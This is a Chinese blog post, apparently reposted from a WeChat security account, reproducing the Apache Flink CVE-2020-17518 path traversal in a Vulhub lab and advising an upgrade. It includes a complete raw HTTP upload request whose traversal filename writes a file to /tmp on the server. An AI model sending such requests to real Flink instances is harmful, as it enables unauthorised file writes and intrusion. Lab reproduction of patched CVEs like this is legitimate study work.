Apache Flink上传路径遍历(CVE-2020-17518)

admin 2021年4月23日02:00:12评论69 views字数 972阅读3分14秒阅读模式

简介

 

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

 

漏洞概述

 

Apache Flink 1.5.1引入了一个REST处理程序,允许您通过恶意修改的HTTP头将上传的文件写入到本地文件系统上的任意位置。

 

影响版本

 

Flink 1.5.1-1.11.2


 

环境搭建

 

使用vulhub进行安装

Vulhub地址:

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

 进入目录cd vulhub-master/flink/CVE-2020-17518安装环境docker-compose up -d

Apache Flink上传路径遍历(CVE-2020-17518)

接着访问http://your-ip:8081

Apache Flink上传路径遍历(CVE-2020-17518)

这里版本是flink:1.11.2

 

漏洞复现


构建数据包进行发送

POST /jars/upload HTTP/1.1Host: 192.168.204.131:8081Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Connection: closeContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6YContent-Length: 187 ------WebKitFormBoundaryoZ8meKnrrso89R6YContent-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success" success------WebKitFormBoundaryoZ8meKnrrso89R6Y--

Apache Flink上传路径遍历(CVE-2020-17518)

返回400,但是镜像里面有了success文件,执行成功


Apache Flink上传路径遍历(CVE-2020-17518)


修复建议

 

升级到安全版本

安全版本:Flink 1.11.3Flink 1.12.0



本文始发于微信公众号(锋刃科技):Apache Flink上传路径遍历(CVE-2020-17518)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月23日02:00:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Flink上传路径遍历(CVE-2020-17518)http://cn-sec.com/archives/233451.html

发表评论

匿名网友 填写信息